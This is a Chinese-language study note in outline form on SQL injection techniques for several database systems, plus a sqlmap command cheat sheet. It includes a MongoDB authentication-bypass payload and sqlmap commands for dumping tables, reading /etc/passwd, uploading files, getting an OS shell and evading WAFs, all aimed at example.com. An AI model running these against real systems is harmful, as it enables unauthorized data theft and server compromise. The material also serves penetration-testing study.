网络安全之攻防笔记--通用安全漏洞SQL注入sqlmapOraclemongodbDB2

  • 通用安全漏洞SQL注入&sqlmap&Oracle&mongodb&DB2
    • 数据库类型
      • ACCESS
        • 特性
          • 没数据库用户
          • 没数据库权限
          • 没数据库查询参数
          • 没有高权限注入说法
        • 暴力猜解,借助字典得到数据
        • 注入方式
          • 联合注入
          • 偏移注入
        • 表名列名猜解不到
          • 偏移注入
      • MySQL
        • 低权限
          • 常规注入
        • 高权限
          • 常规注入
          • 文件读取
            • load_file
          • 文件写入
            • into outfile
        • 权限原因&判断
          • 代码连接用户决定
          • 查询函数user()
          • 其他
            • database()
            • version()
            • @@version_compile_os
      • MSSQL
        • 低权限
          • 常规注入
        • 高权限
          • 常规注入
          • 文件读取
          • 文件读写
          • 命令执行
          • 注册表读取
        • 权限原因&判断
          • 代码连接用户决定
          • 查询函数-user()
          • 其他
            • db_name() 当前数据库名字
            • @@version 获取版本信息
            • @@SERVERNAME 获取服务器主机信息
      • postgreSQL
        • 低权限
          • 常规注入
        • 高权限
          • 参考:https://www.freebuf.com/sectool/2493721.html
          • 常规注入
          • 文件读取
          • 文件写入
        • 权限原因&判断
          • 代码连接用户决定
          • 查询函数current_user
          • 其他
            • version()
            • current_database()
      • db2
        • 特性:
          • 数据库结构复杂,表名和列名通常需要猜解。
          • 高权限用户可以通过 LOAD 和 CALL 执行系统命令。
        • 注入方式:
          • 联合注入:通过 UNION SELECT 获取数据。
          • 报错注入:通过 XMLQUERY 等函数触发报错。
        • 权限判断:
          • 使用 SELECT user FROM sysibm.sysdummy1 查询当前用户。
          • 使用 SELECT * FROM sysibm.sysversions 查询数据库版本。
      • sybase
        • Sybase 的基本特点
          • 支持标准的 SQL 语法。
          • 支持存储过程、触发器等高级功能。
          • 数据库结构包括数据库、表、视图、存储过程等。
        • 2. Sybase 的权限模型
          • 高权限用户(如 sa)可以执行系统命令、读写文件等操作。
          • 低权限用户只能访问特定的数据库对象。
          • Sybase 的权限分为数据库用户和角色。
      • oracle
        • 特性:
          • 数据库结构复杂,表名和列名通常需要猜解。
          • 高权限用户可以通过 UTL_FILE 读写文件。
        • 注入方式:
          • 联合注入:通过 UNION SELECT 获取数据。
          • 报错注入:通过 ctxsys.drithsx.sn 等函数触发报错。
        • 权限判断:
          • 使用 SELECT user FROM dual 查询当前用户。
          • 使用 SELECT * FROM v$version 查询数据库版本。
      • mangodb
        • 特性:
          • NoSQL 数据库,不支持传统 SQL 注入。
          • 可能存在 NoSQL 注入漏洞,通常通过 JSON 查询注入。
        • 注入方式:
          • 通过修改 JSON 查询条件,绕过身份验证或获取数据。
          • { "username": {"$ne": ""}, "password": {"$ne": ""} }
    • 注入神器
      • SQLMAP
        • 文档介绍 | sqlmap 用户手册
        • 常见参数
          • 1. 指定目标
            • --data:指定 POST 请求的数据。
              • sqlmap -u "http://example.com/login" --data="username=admin&password=123"
            • --cookie:指定 Cookie。
              • sqlmap -u "http://example.com/page?id=1" --cookie="sessionid=12345"
            • -u 或 --url:指定目标 URL。
              • sqlmap -u "http://example.com/page?id=1"
          • 2. 指定注入点
            • --skip:跳过某些参数的测试。
              • sqlmap -u "http://example.com/page?id=1&name=test" --skip="name"
            • -p:指定需要测试的参数。
              • sqlmap -u "http://example.com/page?id=1&name=test" -p "id"
          • 3. 指定数据库类型
            • --dbms:指定目标数据库类型(如 MySQL、Oracle、PostgreSQL 等)。
              • sqlmap -u "http://example.com/page?id=1" --dbms=MySQL
          • 4. 获取数据库信息
            • --current-db:获取当前数据库名称。
              • sqlmap -u "http://example.com/page?id=1" --current-db
            • --tables:枚举指定数据库的表。
              • sqlmap -u "http://example.com/page?id=1" -D database_name --tables
            • --dbs:枚举所有数据库。
              • sqlmap -u "http://example.com/page?id=1" --dbs
            • --columns:枚举指定表的列。
              • sqlmap -u "http://example.com/page?id=1" -D database_name -T table_name --columns
            • --dump:导出表数据。
              • sqlmap -u "http://example.com/page?id=1" -D database_name -T table_name --dump
          • 5. 高级功能
            • --risk:设置风险等级(1-3,默认 1),风险越高,测试越激进。
              • sqlmap -u "http://example.com/page?id=1" --risk=2
            • --threads:设置并发线程数。
              • sqlmap -u "http://example.com/page?id=1" --threads=5
            • --batch:自动选择默认选项,无需用户交互。
              • sqlmap -u "http://example.com/page?id=1" --batch
            • --level:设置测试等级(1-5,默认 1),等级越高,测试越全面。
              • sqlmap -u "http://example.com/page?id=1" --level=3
          • 6. 文件加载
            • -l:从日志文件中加载目标。
              • sqlmap -l logfile.txt
            • -r:从文件中加载 HTTP 请求。
              • sqlmap -r request.txt
          • 7. 绕过 WAF/IDS
            • --tamper:使用脚本绕过 WAF(Web 应用防火墙)或 IDS(入侵检测系统)。
              • sqlmap -u "http://example.com/page?id=1" --tamper=space2comment
          • 8. 其他常用参数
            • --sql-shell:获取 SQL 交互式 shell。
              • sqlmap -u "http://example.com/page?id=1" --sql-shell
            • --file-read:读取服务器上的文件。
              • sqlmap -u "http://example.com/page?id=1" --file-read="/etc/passwd"
            • --file-write 和 --file-dest:上传文件到服务器。
              • sqlmap -u "http://example.com/page?id=1" --file-write="local_file" --file-dest="/remote/path"
            • --os-shell:尝试获取操作系统的 shell。
              • sqlmap -u "http://example.com/page?id=1" --os-shell
          • 示例 1:检测注入点
            • sqlmap -u "http://example.com/page?id=1"
          • 示例 2:枚举数据库
            • sqlmap -u "http://example.com/page?id=1" --dbs
          • 示例 3:导出表数据
            • sqlmap -u "http://example.com/page?id=1" -D database_name -T table_name --dump
          • 示例 4:获取操作系统 shell
            • sqlmap -u "http://example.com/page?id=1" --os-shell
          • 示例 5:绕过 WAF
            • sqlmap -u "http://example.com/page?id=1" --tamper=space2comment --level=5 --risk=3

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/23132.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【机器学习】【KMeans聚类分析实战】用户分群聚类详解——SSE、CH 指数、SC全解析,实战电信客户分群案例

1.引言 在实际数据分析中,聚类算法常用于客户分群、图像分割等场景。如何确定聚类数 k 是聚类分析中的关键问题之一。本文将以“用户分群”为例,展示如何通过 KMeans 聚类,利用 SSE(误差平方和,也称 Inertia&#xff…

20-R 绘图 - 饼图

R 绘图 - 饼图 R 语言提供来大量的库来实现绘图功能。 饼图,或称饼状图,是一个划分为几个扇形的圆形统计图表,用于描述量、频率或百分比之间的相对关系。 R 语言使用 pie() 函数来实现饼图,语法格式如下: pie(x, l…

搭建 Hadoop 3.3.6 伪分布式

搭建 Hadoop 3.3.6 伪分布式 IP 192.168.157.132 初始化操作 更改yum源 # 1_1.安装Wget yum install wget# 1_2.备份CentOS-Base.repo文件 mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo_bak# 2.下载阿里yum源配置 wget -O /etc/yum.repos.d/Cen…

python电影数据分析及可视化系统建设

博主介绍:✌程序猿徐师兄、8年大厂程序员经历。全网粉丝15w、csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ 🍅文末获取源码联系🍅 👇🏻 精彩专栏推荐订阅👇…

手机壁纸设计中,金属质感字体可以为壁纸增添独特的视觉效果和高端感

在手机壁纸设计中,金属质感字体可以为壁纸增添独特的视觉效果和高端感。以下是一些关于金属质感字体在手机壁纸设计中的应用建议和案例分析: 1. 金属质感字体的特点 视觉冲击力强:金属质感字体具有独特的光泽和质感,能够在视觉上…

使用ezuikit-js封装一个对接摄像头的组件

ezuikit-js 是一个基于 JavaScript 的视频播放库,主要用于在网页中嵌入实时视频流播放功能。它通常用于与支持 RTSP、RTMP、HLS 等协议的摄像头或视频流服务器进行交互,提供流畅的视频播放体验。 主要功能 多协议支持:支持 RTSP、RTMP、HLS …

PHP post 数据丢失问题

max_input_vars是PHP配置选项之一,用于设置一个请求中允许的最大输入变量数。它指定了在处理POST请求或者通过URL传递的参数时,PHP脚本能够接收和处理的最大变量数量。 max_input_vars的默认值是1000,意味着一个请求中最多可以包含1000个输入…

jenkins docker容器中安装python3.9环境

在运维过程中,不过避免的需要使用到python,在jenkins 的docker容器中,是没有python环境的,需要我们自己手动安装一下。 查看是否有工具apt-get 直接输入apt-get 然后回车,出现以下内容,表示支持apt-get命令…

《Spring实战》(第6版) 保护Spring

第1部分 Spring基础 第4章 使用非关系型数据 关系型数据库一直是首选,近年来"NoSQL"数据库提供了数据存储的不同概念和结构。 SpringData为很多NoSQL数据库提供了支持,包括MongoDB、Cassandra、Couchbase、Neo4j、Redis等,无论选…

SQLMesh 系列教程7- 详解 seed 模型

SQLMesh 是一个强大的数据建模和管道管理工具,允许用户通过 SQL 语句定义数据模型并进行版本控制。Seed 模型是 SQLMesh 中的一种特殊模型,主要用于初始化和填充基础数据集。它通常包含静态数据,如参考数据和配置数据,旨在为后续的…

【JavaEE】-- 多线程(初阶)2

文章目录 3.线程的状态3.1观察线程的所有状态3.2线程状态和状态转移的意义 4.多线程带来的的风险-线程安全 (重点)4.1观察线程不安全4.2 线程不安全的原因4.2.1 线程调度是随机的4.2.2 修改共享数据4.2.3 原子性4.2.4 内存可见性4.2.5 指令重排序 4.3解决之前的线程不安全问题 …

安卓系统远程控制电脑方法,手机远控教程,ToDesk工具

不知道大家有没有觉得手机、平板虽然很好用,却也仍存在有很多替代不了电脑的地方。就比如说撰写文档、做数据报表啥的就不如PC端操作般方便,就跟别说PS修图、AE视频剪辑等需高性能设备来带动才易用的了。 好在也是有对策可解决,装个ToDesk远程…

机器学习(李宏毅)——RL(强化学习)

一、前言 本文章作为学习2023年《李宏毅机器学习课程》的笔记,感谢台湾大学李宏毅教授的课程,respect!!! 二、大纲 What is RL?Three steps in MLPolicy GradientActor-CriticReward Shaping 三、What …

【Go】Go wire 依赖注入

1. wire 简介 wire 是一个 Golang 的依赖注入框架(类比 Spring 框架提供的依赖注入功能) ⭐ 官方文档:https://github.com/google/wire 这里关乎到编程世界当中一条好用的设计原则:A用到了B,那么B一定是通过依赖注入的…

《动手学机器人学》笔记

目录 0.介绍1.概述|空间位置、姿态的描述(33)|《动手学机器人学》2.(2)-Robotics Toolbox①(V10.4)3.齐次坐标与变换矩阵4.一般形式的旋转变换矩阵5.(轴角法)…

【蓝桥杯单片机】第十三届省赛第二场

一、真题 二、模块构建 1.编写初始化函数(init.c) void Cls_Peripheral(void); 关闭led led对应的锁存器由Y4C控制关闭蜂鸣器和继电器 2.编写LED函数(led.c) void Led_Disp(unsigned char ucLed); 将ucLed取反的值赋给P0 开启锁存器 关闭锁存…

大语言模型基础

简介 AI大模型是“人工智能预训练大模型”的简称,包含了“预训练”和“大模型”两层含义,二者结合产生了一种新的人工智能模式,即模型在大规模数据集上完成了预训练后无需微调,或仅需要少量数据的微调,就能直接支撑各…

java Web

1.JavaWeb开发 前面的学习javase开发,而javaweb开发需要服务器和网页。 具备: java mysql jdbc htmlcssjs。 web服务器: tomcat服务器. 部署项目。 https://tomcat.apache.org/download-80.cgi 解压软件压缩包即可 不要放在中文目录和特殊符号的目录下 启动tomcat服…

SOME/IP--协议英文原文讲解12(完结)

前言 SOME/IP协议越来越多的用于汽车电子行业中,关于协议详细完全的中文资料却没有,所以我将结合工作经验并对照英文原版协议做一系列的文章。基本分三大块: 1. SOME/IP协议讲解 2. SOME/IP-SD协议讲解 3. python/C举例调试讲解 4.3 Compa…

光明谷推出AT指令版本的蓝牙音箱SOC 开启便捷智能音频开发新体验

前言 在蓝牙音箱市场竞争日益激烈的当下,开发一款性能卓越且易于上手的蓝牙音箱,成为众多厂商追求的目标。而光明谷科技有限公司推出的 AT 指令版本的蓝牙音箱 SOC,无疑为行业带来了全新的解决方案,以其诸多独特卖点,迅…